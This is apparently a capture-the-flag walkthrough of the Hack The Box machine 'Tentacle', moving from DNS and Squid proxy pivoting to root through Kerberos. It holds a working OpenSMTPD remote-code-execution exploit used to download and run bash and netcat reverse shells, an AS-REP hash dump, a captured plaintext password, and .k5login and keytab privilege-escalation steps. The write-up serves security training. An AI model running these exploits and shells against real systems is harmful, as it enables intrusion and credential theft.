Tentacle (Hard)

Host entries

10.10.10.224 realcorp.htb

If Active Directory => NTP Synchronization with the domain controller.

Content

DNS Enumeration (dnsenum)
SQUID Proxy
WPAD Enumeration
OpenSMTPD v2.0.0
Exploit SSH using Kerberos (gssapi)
Abusing .k5login file Abusing krb5.keytab file

Reconnaissance

Initial reconnaissance for TCP ports

  
nmap -p- -sS --open --min-rate 5000 -Pn -n -vvv -oG allPorts 10.10.10.224
# Ports scanned: TCP(65535;1-65535) UDP(0;) SCTP(0;) PROTOCOLS(0;)
Host: 10.10.10.224 ()   Status: Up
Host: 10.10.10.224 ()   Ports: 22/open/tcp//ssh///, 53/open/tcp//domain///, 88/open/tcp//kerberos-sec///, 3128/open/tcp//squid-http///

Services and Versions running:

  
nmap -p22,53,88,3128 -sCV -Pn -n -vvv -oN targeted 10.10.10.224
Nmap scan report for 10.10.10.224
Host is up, received user-set (0.076s latency).
Scanned at 2023-01-23 01:41:46 EST for 23s

PORT     STATE SERVICE      REASON         VERSION
22/tcp   open  ssh          syn-ack ttl 63 OpenSSH 8.0 (protocol 2.0)
| ssh-hostkey: 
|   3072 8ddd1810e57bb0daa3fa1437a7527a9c (RSA)
...
53/tcp   open  domain       syn-ack ttl 63 ISC BIND 9.11.20 (RedHat Enterprise Linux 8)
| dns-nsid: 
|_  bind.version: 9.11.20-RedHat-9.11.20-5.el8
88/tcp   open  kerberos-sec syn-ack ttl 63 MIT Kerberos (server time: 2023-01-23 06:41:53Z)
3128/tcp open  http-proxy   syn-ack ttl 63 Squid http proxy 4.11
|_http-title: ERROR: The requested URL could not be retrieved
|_http-server-header: squid/4.11
Service Info: Host: REALCORP.HTB; OS: Linux; CPE: cpe:/o:redhat:enterprise_linux:8

Port tcp-3128 is open so let’s dive into it and see what info we can enumerate: As we can see there is an user and a hostname, let’s save such info for later, other than that there is not too much on this port.

Port tcp-53 is open so we start DNS enumeration¹:

  
dig @10.10.10.224 realcorp.htb

; <<>> DiG 9.18.10-2-Debian <<>> @10.10.10.224 realcorp.htb
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 3237
;; flags: qr aa rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: 38a3f638862ca5cdee2317de63ce30dcf00121f997e2ce15 (good)
;; QUESTION SECTION:
;realcorp.htb.                  IN      A

;; AUTHORITY SECTION:
realcorp.htb.           86400   IN      SOA     realcorp.htb. root.realcorp.htb. 199609206 28800 7200 2419200 86400

;; Query time: 72 msec
;; SERVER: 10.10.10.224#53(10.10.10.224) (UDP)
;; WHEN: Mon Jan 23 02:01:48 EST 2023
;; MSG SIZE  rcvd: 110

Name Server enumeration:

  
dig @10.10.10.224 realcorp.htb ns

; <<>> DiG 9.18.10-2-Debian <<>> @10.10.10.224 realcorp.htb ns
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 229
;; flags: qr aa rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 2

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: 400abcce9a81e2371a320e1563ce3109788cd6a81756af60 (good)
;; QUESTION SECTION:
;realcorp.htb.                  IN      NS

;; ANSWER SECTION:
realcorp.htb.           259200  IN      NS      ns.realcorp.htb.

;; ADDITIONAL SECTION:
ns.realcorp.htb.        259200  IN      A       10.197.243.77

;; Query time: 80 msec
;; SERVER: 10.10.10.224#53(10.10.10.224) (UDP)
;; WHEN: Mon Jan 23 02:02:33 EST 2023
;; MSG SIZE  rcvd: 102

Mail Server enumeration:

  
dig @10.10.10.224 realcorp.htb mx

; <<>> DiG 9.18.10-2-Debian <<>> @10.10.10.224 realcorp.htb mx
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 55683
;; flags: qr aa rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: 45ff88ba6e94e0578d415b5463ce311d0105093dcb44c1a7 (good)
;; QUESTION SECTION:
;realcorp.htb.                  IN      MX

;; AUTHORITY SECTION:
realcorp.htb.           86400   IN      SOA     realcorp.htb. root.realcorp.htb. 199609206 28800 7200 2419200 86400

;; Query time: 79 msec
;; SERVER: 10.10.10.224#53(10.10.10.224) (UDP)
;; WHEN: Mon Jan 23 02:02:53 EST 2023
;; MSG SIZE  rcvd: 110

Zone Transfer Enumeration:

  
dig @10.10.10.224 realcorp.htb mx

; <<>> DiG 9.18.10-2-Debian <<>> @10.10.10.224 realcorp.htb mx
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 55683
;; flags: qr aa rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: 45ff88ba6e94e0578d415b5463ce311d0105093dcb44c1a7 (good)
;; QUESTION SECTION:
;realcorp.htb.                  IN      MX

;; AUTHORITY SECTION:
realcorp.htb.           86400   IN      SOA     realcorp.htb. root.realcorp.htb. 199609206 28800 7200 2419200 86400

;; Query time: 79 msec
;; SERVER: 10.10.10.224#53(10.10.10.224) (UDP)
;; WHEN: Mon Jan 23 02:02:53 EST 2023
;; MSG SIZE  rcvd: 110

Interesting Findings:

realcorp.htb.  86400  IN  SOA  realcorp.htb. root.realcorp.htb.
ns.realcorp.htb.        259200  IN      A       10.197.243.77

No interesting findings were spotted so we start enumerating port tcp-3128 Squid Proxy but first we need to configure our proxychains file as follows:²

  
[ProxyList]
# add proxy here ...
# meanwile
# defaults set to "tor"
#socks4         127.0.0.1 1080
http 10.10.10.224 3128

Then to enumerate the services we use the command “proxychains”, keep in mind that nmap using proxychains only works for -sT or three hand shake enumeration:

  
proxychains -q nmap -sT -Pn -n -vvv 127.0.0.1
Nmap scan report for 127.0.0.1
Host is up, received user-set (0.16s latency).
Scanned at 2023-01-23 02:16:52 EST for 159s
Not shown: 994 closed tcp ports (conn-refused)
PORT     STATE SERVICE      REASON
22/tcp   open  ssh          syn-ack
53/tcp   open  domain       syn-ack
88/tcp   open  kerberos-sec syn-ack
464/tcp  open  kpasswd5     syn-ack
749/tcp  open  kerberos-adm syn-ack
3128/tcp open  squid-http   syn-ack

At least 3 new ports were identified compared with the first scan, but still nothing interesting. However with this new configuration we can enumerate the DNS with dnsenum to search for subdomains:

  
dnsenum --dnsserver 10.10.10.224 --threads 50 -f /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt realcorp.htb
dnsenum VERSION:1.2.6
-----   realcorp.htb
Host's addresses:
__________________
Name Servers:
______________
ns.realcorp.htb.                         259200   IN    A        10.197.243.77
Mail (MX) Servers:
___________________                                                                                                                                                                       
Trying Zone Transfers and getting Bind Versions:
ns.realcorp.htb.    259200   IN    A        10.197.243.77
proxy.realcorp.htb. 259200   IN    CNAME    ns.realcorp.htb.
ns.realcorp.htb.    259200   IN    A        10.197.243.77
wpad.realcorp.htb.  259200   IN    A        10.197.243.31

done.

There are some subdomains, but since the IP that such entries are pointing is unreachable we need to think about a way to reach them, for that we can abuse the proxychains since we already have it configured, but first we need to add this subdomains into the /etc/hosts file (only proxy.realcorp.htb and wpad.realcorp.htb are interesting for us):

127.0.0.1       localhost
127.0.1.1       kali
::1             localhost ip6-localhost ip6-loopback
ff02::1         ip6-allnodes
ff02::2         ip6-allrouters

10.10.10.224    realcorp.htb srv01.realcorp.htb root.realcorp.htb
10.197.243.77   proxy.realcorp.htb
10.197.243.31   wpad.realcorp.htb

So let’s try to enumerate this new subdomains:

  
proxychains -q nmap -sT -Pn -n -vvv 10.197.243.77
Starting Nmap 7.93 ( https://nmap.org ) at 2023-01-23 11:31 EST
Initiating Connect Scan at 11:31
Scanning 10.197.243.77 [1000 ports]
Connect Scan Timing: About 7.90% done; ETC: 11:37 (0:06:01 remaining)
Connect Scan Timing: About 15.60% done; ETC: 11:37 (0:05:30 remaining)

After some time it seems like this is not going to work so our next approach is to add the internal interface of the proxy into the proxychains.conf file:

  
[ProxyList]
# add proxy here ...
# meanwile
# defaults set to "tor"
#socks4         127.0.0.1 1080
http 10.10.10.224 3128
http 127.0.0.1 3128

After adding this entry to the proxychains we can try to enumerate the subdomains again and we receive the following output, as we can see the traffic is now doing 2 hops the first one to the first proxy and then to its internal interface:

  
proxychains nmap -sT -Pn -n -vvv 10.197.243.77 
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.16
Starting Nmap 7.93 ( https://nmap.org ) at 2023-01-23 11:32 EST
Initiating Connect Scan at 11:32
Scanning 10.197.243.77 [1000 ports]
[proxychains] Strict chain  ...  10.10.10.224:3128  ...  127.0.0.1:3128  ...  10.197.243.77:113 <--denied
[proxychains] Strict chain  ...  10.10.10.224:3128  ...  127.0.0.1:3128  ...  10.197.243.77:587 <--denied
[proxychains] Strict chain  ...  10.10.10.224:3128  ...  127.0.0.1:3128  ...  10.197.243.77:199 <--denied

Finally we can enumerate this subdomain’s IP and its ports:

  
proxychains -q nmap -sT -Pn -n -vvv 10.197.243.77
Nmap scan report for 10.197.243.77
Host is up, received user-set (0.58s latency).
Scanned at 2023-01-23 11:34:12 EST for 582s
Not shown: 994 closed tcp ports (conn-refused)
PORT     STATE SERVICE      REASON
22/tcp   open  ssh          syn-ack
53/tcp   open  domain       syn-ack
88/tcp   open  kerberos-sec syn-ack
464/tcp  open  kpasswd5     syn-ack
749/tcp  open  kerberos-adm syn-ack
3128/tcp open  squid-http   syn-ack

Since this is a slow scan we can create the following script to enumerate all the ports on the machine with bash:

  
#!/bin/bash

for port in $(seq 1 65535); do
        proxychains -q timeout 1 bash -c "echo '' > /dev/tcp/10.197.243.77/$port" 2>/dev/null && echo "[+] Port $port - OPEN" &
done; wait

Since the output gives us another port 3128, this gives us an idea that it is another Squid Proxy:

  
./proxychain.sh                                  
[+] Port 22 - OPEN
[+] Port 53 - OPEN
[+] Port 88 - OPEN
[+] Port 3128 - OPEN

And as there is another subdomain on the web we will add again this IP in the proxychains file:

  
[ProxyList]
# add proxy here ...
# meanwile
# defaults set to "tor"
#socks4         127.0.0.1 1080
http 10.10.10.224 3128
http 127.0.0.1 3128
http 10.197.243.77 3128

And now let’s try to scan the last IP discovered:

  
proxychains nmap -sT -Pn -n -vvv 10.197.243.31    
[proxychains] Strict chain  ...  10.10.10.224:3128  ...  127.0.0.1:3128  ...  10.197.243.77:3128  ...  10.197.243.31:135 <--denied
[proxychains] Strict chain  ...  10.10.10.224:3128  ...  127.0.0.1:3128  ...  10.197.243.77:3128  ...  10.197.243.31:587 <--denied
[proxychains] Strict chain  ...  10.10.10.224:3128  ...  127.0.0.1:3128  ...  10.197.243.77:3128  ...  10.197.243.31:53  ...  OK

As we can see now it is possible to reach the last IP by hoping 3 times first two on the first Squid proxy and the third on the latest added IP, with this in mind let’s modify our script and run it again:

  
./proxychain.sh
[+] Port 53 - OPEN
[+] Port 88 - OPEN
[+] Port 80 - OPEN
[+] Port 22 - OPEN
[+] Port 3128 - OPEN

Now we have port 80 open, let’s try to access to it via curl, remember to use the hostname instead of the IP:

  
proxychains -q curl -s http://wpad.realcorp.htb         
<html>
<head><title>403 Forbidden</title></head>
<body bgcolor="white">
<center><h1>403 Forbidden</h1></center>
<hr><center>nginx/1.14.1</center>
</body>
</html>

We have previously discovered that the hostname for this IP is wpad.realcorp.htb so let’s figure out what is wpad meaning, a good resource for this is Hacktricks There is an interesting explanation as well as an interesting configuration file, let’s send this request to see if we get any result:

  
proxychains -q curl -s http://wpad.realcorp.htb/wpad.dat
function FindProxyForURL(url, host) {
    if (dnsDomainIs(host, "realcorp.htb"))
        return "DIRECT";
    if (isInNet(dnsResolve(host), "10.197.243.0", "255.255.255.0"))
        return "DIRECT"; 
    if (isInNet(dnsResolve(host), "10.241.251.0", "255.255.255.0"))
        return "DIRECT"; 
 
    return "PROXY proxy.realcorp.htb:3128";
}

And there is another subnet³ being disclosed on this output, so let’s enumerate common ports on any host for it, with the following script:

  
#!/bin/bash

for port in 21 22 23 25 80 88 443 445 8080 8081 9001; do
        for i in $(seq 1 254); do
                proxychains -q timeout 1 bash -c "echo '' > /dev/tcp/10.241.251.$i/$port" 2>/dev/null && echo "[+] Port $port - OPEN in Host: 10.241.251.$i" &
        done;
done;

Let’s run it several times in case that the scan is too fast for the ports to respond and we get the following output:

  
./proxychain.sh
[+] Port 22 - OPEN in Host: 10.241.251.1
[+] Port 25 - OPEN in Host: 10.241.251.113
[+] Port 88 - OPEN in Host: 10.241.251.1

Let’s enumerate port 25 open and see what is inside:

  
proxychains -q nmap -p25 -sCV -sT -Pn -n 10.241.251.113      
Starting Nmap 7.93 ( https://nmap.org ) at 2023-01-23 13:13 EST
Nmap scan report for 10.241.251.113
Host is up (0.31s latency).

PORT   STATE SERVICE VERSION
25/tcp open  smtp    OpenSMTPD
| smtp-commands: smtp.realcorp.htb Hello nmap.scanme.org [10.241.251.1], pleased to meet you, 8BITMIME, ENHANCEDSTATUSCODES, SIZE 36700160, DSN, HELP
|_ 2.0.0 This is OpenSMTPD 2.0.0 To report bugs in the implementation, please contact bugs@openbsd.org 2.0.0 with full details 2.0.0 End of HELP info
Service Info: Host: smtp.realcorp.htb

Just in case let’s add it as well to the /etc/hosts, now let’s find an exploit for this service SMTPD 2.0.0.

Exploitation

With searchsploit we find the following scripts: There is a Remote Code Execution for version 6.6.1, this version (2.0.0) could be vulnerable since its a minor version, so let’s check the code:

  
#!/usr/local/bin/python3

from socket import *
import sys

if len(sys.argv) != 4:
    print('Usage {} <target ip> <target port> <command>'.format(sys.argv[0]))
    print("E.g. {} 127.0.0.1 25 'touch /tmp/x'".format(sys.argv[0]))
    sys.exit(1)
...
print('[*] Payload sent')
s.send(b'RCPT TO:<root>\r\n')
s.recv(1024)
s.send(b'DATA\r\n')
s.recv(1024)
s.send(b'\r\nxxx\r\n.\r\n')
s.recv(1024)
s.send(b'QUIT\r\n')
s.recv(1024)
print('[*] Done')

All we need is to provide the target IP, target Port and the command to execute, so let’s do it right away:

  
proxychains -q python3 47984.py 10.241.251.113 25 whoami
[*] OpenSMTPD detected
[*] Connected, sending payload
[*] Payload sent
[*] Done

It seems that is not retrieving the output of such command, let’s try by running a command that will send a response to our machine, a ping will do the trick:

  
tcpdump -i tun0 icmp
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes

No response has been received, this means that our machine is unreachable from that machine or that something needs to be fixed on such exploit.However RCE is not possible at this point. According to the script, it needs a user to test the exploit remember that we have a user (j.nakazawa@realcorp.htb) so let’s figure out if this user is valid with kerbrute: ⁴

  
proxychains -q kerbrute userenum -d realcorp.htb --dc 10.10.10.224 users

    __             __               __     
   / /_____  _____/ /_  _______  __/ /____ 
  / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
 / ,< /  __/ /  / /_/ / /  / /_/ / /_/  __/
/_/|_|\___/_/  /_.___/_/   \__,_/\__/\___/                                        

Version: dev (9cfb81e) - 01/23/23 - Ronnie Flathers @ropnop

2023/01/23 13:33:17 >  Using KDC(s):
2023/01/23 13:33:17 >   10.10.10.224:88

2023/01/23 13:33:17 >  [+] j.nakazawa has no pre auth required. Dumping hash to crack offline:
$krb5asrep$18$j.nakazawa@REALCORP.HTB:63abc6b17482e9eba446456fbc7df8b1$0d47f8d1d1363460bda6e52f810b3e8b8d12c1395a233d467418a243b32b9c7df3693925e0fa4d9d87c316d4460a44a18338691baa0f28a8dcd4ab6ad118b4a269ca6f37d684594fd371d0d87a54136610434478ff3a9f10a473d9a450e1dcaf8c00012ed9607b3cc661793864f262160633212c51169a97e7bb2a01cb2f0ac6cd68414791f6bc5e37de5bc4e7c13b9f803108d521e5fadaecefad0c39a0d7014bc70d81ae09322900a726e6de2c00dda551cd03963b3ec8d2a1a0d9e816891af11c656179c6ea                                                                                                                                                                                  
2023/01/23 13:33:17 >  [+] VALID USERNAME:       j.nakazawa@realcorp.htb

Once validated we then can modify the code of the exploit 47984.py as follows:

  
<SNIP>
print('[*] Payload sent')
s.send(b'RCPT TO:<j.nakazawa@realcorp.htb>\r\n')
s.recv(1024)
s.send(b'DATA\r\n')
s.recv(1024)
s.send(b'\r\nxxx\r\n.\r\n')
s.recv(1024)
s.send(b'QUIT\r\n')
s.recv(1024)
print('[*] Done')

And try to run it again:

  
tcpdump -i tun0 icmp
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
c13:26:13.906119 IP realcorp.htb > 10.10.14.2: ICMP host realcorp.htb unreachable - admin prohibited filter, length 68
13:26:13.985802 IP realcorp.htb > 10.10.14.2: ICMP host realcorp.htb unreachable - admin prohibited filter, length 68
13:26:19.534231 IP realcorp.htb > 10.10.14.2: ICMP host realcorp.htb unreachable - admin prohibited filter, length 68
13:26:19.615098 IP realcorp.htb > 10.10.14.2: ICMP host realcorp.htb unreachable - admin prohibited filter, length 68
13:33:14.285381 IP 10.10.14.1 > 10.10.14.2: ICMP host 10.10.10.204 unreachable, length 185
13:33:14.285406 IP 10.10.14.1 > 10.10.14.2: ICMP host 10.10.10.204 unreachable, length 185

Now we have received the ping, so let’s get a reverse shell

Option #1

Since we already know that it is a linux machine we can create a bash file that is called index.html with this content:

  
#!/bin/bash

bash -i >& /dev/tcp/10.10.14.2/443 0>&1

Then start a web server on our machine and run the script as follows:

proxychains -q python3 47984.py 10.241.251.113 25 "wget 10.10.14.2 -O /opt/rev"

This will move the index.html file into the /opt folder and then save it with the name “rev”. Finally we can run such file like this:

proxychains -q python3 47984.py 10.241.251.113 25 "bash /opt/rev"

And we have root on the machine directly:

root@smtp:/home/j.nakazawa# whoami
whoami
root

Option #2

We can retrieve a reverse shell by uploading the netcat binary to the machine:

  
proxychains -q python3 47984.py 10.241.251.113 25 'wget 10.10.16.3/netcat'
```                                                                                                                          We need to give execution permissions to the binary:
```bash
proxychains -q python3 47984.py 10.241.251.113 25 'chmod +x netcat'   

And we finally execute it:

proxychains -q python3 47984.py 10.241.251.113 25 './netcat -e /bin/sh 10.10.16.3 1234'

And we have root on the machine directly:

root@smtp:/home/j.nakazawa# whoami
whoami
root

To upgrade our reverse shell⁵ to a Fully Interactive TTY we can proceed as follows:

  
connect to [10.10.16.3] from (UNKNOWN) [10.10.10.224] 47134
whoami
root
SHELL=/bin/bash script -q /dev/null

root@smtp:/home/j.nakazawa# ^Z
zsh: suspended  nc -lvnp 1234
└─$ stty raw -echo; fg          
[1]  + continued  nc -lvnp 1234
                               reset xterm

However this machine is not the intended to be exploited so we need to keep searching on it to find interesting information, such as: ⁶

  
root@smtp:/home/j.nakazawa# cat .msmtprc 
# Set default values for all following accounts.
defaults
auth           on
tls            on
tls_trust_file /etc/ssl/certs/ca-certificates.crt
logfile        /dev/null

# RealCorp Mail
account        realcorp
host           127.0.0.1
port           587
from           j.nakazawa@realcorp.htb
user           j.nakazawa
password       sJB}RM>6Z~64_
tls_fingerprint C9:6A:B9:F6:0A:D4:9C:2B:B9:F6:44:1F:30:B8:5E:5A:D8:0D:A5:60

While trying to access to the real machine via ssh we find the following error:

ssh j.nakazawa@10.10.10.224                                    
j.nakazawa@10.10.10.224's password: 
Permission denied, please try again.
j.nakazawa@10.10.10.224's password: 
Permission denied, please try again.
j.nakazawa@10.10.10.224's password: 
j.nakazawa@10.10.10.224: Permission denied (gssapi-keyex,gssapi-with-mic,password).

Let’s debug the output of the SSH connection with (-v):

debug1: SSH2_MSG_EXT_INFO received
debug1: kex_input_ext_info: server-sig-algs=<ssh-ed25519,ssh-rsa,rsa-sha2-256,rsa-sha2-512,ssh-dss,ecdsa-sha2-nistp256,ecdsa-sha2-nistp384,ecdsa-sha2-nistp521>
debug1: SSH2_MSG_SERVICE_ACCEPT received
debug1: Authentications that can continue: gssapi-keyex,gssapi-with-mic,password
debug1: Next authentication method: gssapi-with-mic

We get a message about gssapi authentication, let’s research about it: Seems that in order to access via SSH we need to do some configuration with kerberos, to configure our client let’s install krb5-client:

apt-get install krb5-user

If you need to reconfigure the entries on the krb-user you can do it with the following command:

sudo dpkg-reconfigure krb5-config

Once that we receive a prompt asking for a domain we enter the realcorp.htb domain: Then add the machine’s IP twice: The installation creates a fille called /etc/krb5.conf which we’ll modify as follows:

  
[libdefaults]
 default_realm = REALCORP.HTB
[realms]
 REALCORP.HTB = {
 kdc = srv01.realcorp.htb:88
 }
[domain_realm]
 .realcorp.htb = REALCORP.HTB
 realcorp.htb = REALCORP.HTB

Then in order to connect to the SSH port we can use the following command which will ask for the password:

kinit j.nakazawa
Password for j.nakazawa@REALCORP.HTB:

After submit the password previously discovered we’ll find that there is a register with this same password created:

klist             
Ticket cache: FILE:/tmp/krb5cc_0
Default principal: j.nakazawa@REALCORP.HTB

Valid starting       Expires              Service principal
01/23/2023 15:10:38  01/24/2023 15:10:38  krbtgt/REALCORP.HTB@REALCORP.HTB
01/23/2023 15:13:07  01/24/2023 15:10:38  host/srv01.realcorp.htb@REALCORP.HTB

This should allow us to login without password via ssh:

ssh j.nakazawa@10.10.10.224                                            
j.nakazawa@10.10.10.224's password:

If still not possible to login via SSH then we need to sync the DC time with our machine:

  
ntpdate 10.10.10.224
2023-01-23 15:13:01.504643 (-0500) +1.004272 +/- 0.038425 10.10.10.224 s10 no-leap
CLOCK: time stepped by 1.004272

If by any chance you are still unable to connect, try by changing the order of /etc/hosts it must has the srv01.realcorp.htb at the beginning of the hostnames:

cat /etc/hosts   
127.0.0.1       localhost
127.0.1.1       kali
::1             localhost ip6-localhost ip6-loopback
ff02::1         ip6-allnodes
ff02::2         ip6-allrouters

10.10.10.224    srv01.realcorp.htb realcorp.htb

Then we’ll be able to login:

  
ssh j.nakazawa@10.10.10.224
Activate the web console with: systemctl enable --now cockpit.socket

Last failed login: Mon Jan 23 20:05:55 GMT 2023 from 10.10.14.2 on ssh:notty
There were 11 failed login attempts since the last successful login.
Last login: Thu Dec 24 06:02:06 2020 from 10.10.14.2
[j.nakazawa@srv01 ~]$ whoami
j.nakazawa

Privilege Escalation

There is a cronjob being executed on the machine:

  
[j.nakazawa@srv01 tmp]$ cat /etc/crontab
SHELL=/bin/bash
PATH=/sbin:/bin:/usr/sbin:/usr/bin
MAILTO=root

# For details see man 4 crontabs

# Example of job definition:
# .---------------- minute (0 - 59)
# |  .------------- hour (0 - 23)
# |  |  .---------- day of month (1 - 31)
# |  |  |  .------- month (1 - 12) OR jan,feb,mar,apr ...
# |  |  |  |  .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# |  |  |  |  |
# *  *  *  *  * user-name  command to be executed
* * * * * admin /usr/local/bin/log_backup.sh

Contents of the file are as follows:

  
[j.nakazawa@srv01 tmp]$ cat /usr/local/bin/log_backup.sh
#!/bin/bash

/usr/bin/rsync -avz --no-perms --no-owner --no-group /var/log/squid/ /home/admin/
cd /home/admin
/usr/bin/tar czf squid_logs.tar.gz.`/usr/bin/date +%F-%H%M%S` access.log cache.log

As we can see the script is using rsync with the folder /var/log/squid, checking its permissions:

  
[j.nakazawa@srv01 log]$ ls -al | grep squid
drwx-wx---.  2 admin  squid      41 Dec 24  2020 squid

Since we are part of the group squid we have write and execution permission but we can’t list any file inside the folder:

  
[j.nakazawa@srv01 squid]$ echo test > file
[j.nakazawa@srv01 squid]$ rm file
rm: cannot remove 'file': No such file or directory
[j.nakazawa@srv01 squid]$ ls -al
ls: cannot open directory '.': Permission denied

The script is moving all the files within /var/log/squid into the /home/admin folder so we can abuse this by creating a .k5login file, which researching it works as follows: With this we can create a Kerberos Principal as follows: ⁷

  
[j.nakazawa@srv01 squid]$ echo 'j.nakazawa@REALCORP.HTB' > .k5login

After one minute the cronjob will submit this file into the admin’s home folder allowing us to access as admin user:

  
ssh admin@10.10.10.224
Activate the web console with: systemctl enable --now cockpit.socket

Last login: Mon Jan 23 20:56:01 2023
[admin@srv01 ~]$ ls -al
total 20
drwxr-x---. 3 admin admin  141 Jan 23 20:56 .
drwxr-xr-x. 4 root  root    37 Nov  3  2020 ..
lrwxrwxrwx. 1 root  root     9 Nov 15  2021 .bash_history -> /dev/null
-rw-r--r--. 1 admin admin   24 Jan 23 20:55 .k5login
-rw-r--r--. 1 admin admin 6008 Jan 23 20:55 squid_logs.tar.gz.2023-01-23-205501
-rw-r--r--. 1 admin admin 6008 Jan 23 20:56 squid_logs.tar.gz.2023-01-23-205601
drwx------. 2 admin admin    6 Dec 25  2020 .ssh

One thing to consider is that we need to login as fast as possible since the file is deleted after the cronjob is running again.

Enumerating the machine we find out a .keytab file under the following path:

  
[admin@srv01 mail]$ find / -type f -group admin 2>/dev/null | grep -v /proc | grep -v /sys/fs
/home/admin/squid_logs.tar.gz.2023-01-23-205802
/usr/local/bin/log_backup.sh
/etc/krb5.keytab

This is the description of such file: In order to abuse of this keytab file we can use the keylist -k command:

  
[admin@srv01 mail]$ klist -k /etc/krb5.keytab
Keytab name: FILE:/etc/krb5.keytab
KVNO Principal
---- --------------------------------------------------------------------------
host/srv01.realcorp.htb@REALCORP.HTB
host/srv01.realcorp.htb@REALCORP.HTB
host/srv01.realcorp.htb@REALCORP.HTB
host/srv01.realcorp.htb@REALCORP.HTB
host/srv01.realcorp.htb@REALCORP.HTB
kadmin/changepw@REALCORP.HTB
kadmin/changepw@REALCORP.HTB
kadmin/changepw@REALCORP.HTB
kadmin/changepw@REALCORP.HTB
kadmin/changepw@REALCORP.HTB
kadmin/admin@REALCORP.HTB
kadmin/admin@REALCORP.HTB
kadmin/admin@REALCORP.HTB
kadmin/admin@REALCORP.HTB
kadmin/admin@REALCORP.HTB

Another command to abuse of this keytab is the kadmin which with the following parameters we can create a Principal in this case root: ⁸

  
[admin@srv01 mail]$ kadmin -kt /etc/krb5.keytab -p kadmin/admin@REALCORP.HTB

This will retrieve an interactive kadmin shell, getting the help command we can see a lot of interesting instructions:

  
kadmin:  ?
Available kadmin requests:
add_principal, addprinc, ank  Add principal
delete_principal, delprinc    Delete principal
modify_principal, modprinc    Modify principal
rename_principal, renprinc    Rename principal
change_password, cpw     Change password
get_principal, getprinc  Get principal
list_principals, listprincs  List principals
add_policy, addpol       Add policy
modify_policy, modpol    Modify policy
delete_policy, delpol    Delete policy
get_policy, getpol       Get policy
list_policies, listpols, List policies
get_privs, getprivs      Get privileges
ktadd, xst               Add entry(s) to a keytab
ktremove, ktrem          Remove entry(s) from a keytab
lock                     Lock database exclusively (use with extreme caution!)
unlock                   Release exclusive database lock
purgekeys                Purge previously retained old keys from a principal
get_strings, getstrs     Show string attributes on a principal
set_string, setstr       Set a string attribute on a principal
del_string, delstr       Delete a string attribute on a principal
list_requests, lr, ?     List available requests.
quit, exit, q            Exit program.

An interesting instruction is “addprinc” which then can be abused to access to the machine as root:

  
kadmin:  addprinc root@REALCORP.HTB
No policy specified for root@REALCORP.HTB; defaulting to no policy
Enter password for principal "root@REALCORP.HTB": 
Re-enter password for principal "root@REALCORP.HTB": 
Principal "root@REALCORP.HTB" created.

Finally with the newly created password for root and the “ksu” command we get root:

  
[admin@srv01 mail]$ ksu
WARNING: Your password may be exposed if you enter it here and are logged in remotely using an unsecure (non-encrypted) channel. 
Kerberos password for root@REALCORP.HTB: : 
Authenticated root@REALCORP.HTB
Account root: authorization for root@REALCORP.HTB successful
[Last failed login: Mon Jan 23 21:06:14 GMT 2023 on pts/1]
[There was 1 failed login attempt since the last successful login.]
Changing uid to root (0)
[root@srv01 mail]# whoami
root

Credentials

j.nakazawa@realcorp.htb:sJB}RM>6Z~64_

krb5.conf file to authenticate via gssapi-with-mic

  
# Set default values for all following accounts.
defaults
auth           on
tls            on
tls_trust_file /etc/ssl/certs/ca-certificates.crt
logfile        /dev/null

# RealCorp Mail
account        realcorp
host           127.0.0.1
port           587
from           j.nakazawa@realcorp.htb
user           j.nakazawa
password       sJB}RM>6Z~64_
tls_fingerprint C9:6A:B9:F6:0A:D4:9C:2B:B9:F6:44:1F:30:B8:5E:5A:D8:0D:A5:60

Notes

Port tcp-3128 is a really interesting via to get access to an internal network if not configured correctly along with DNS enumeration it can be abused in such way that a machine/subnet can be compromised.
krb-user is a tool to exploit gssapi-with-mic authentication
a krb5.keytab can be abused to login as another user if misconfigured.

DNS Enumeration ↩
Squid Proxy Configuration ↩
Subnet Scanner using Proxychains ↩
Kerbrute user enumeration, it executes an AS-REP Roast attack on every enumerated user ↩
Reverse Shell Fully Interactive TTY ↩
Authentication method gssapi-with-mic (krb5.conf file) ↩
.k5login authentication ↩
krb5.keytab to list, create and login with Service Principal Names ↩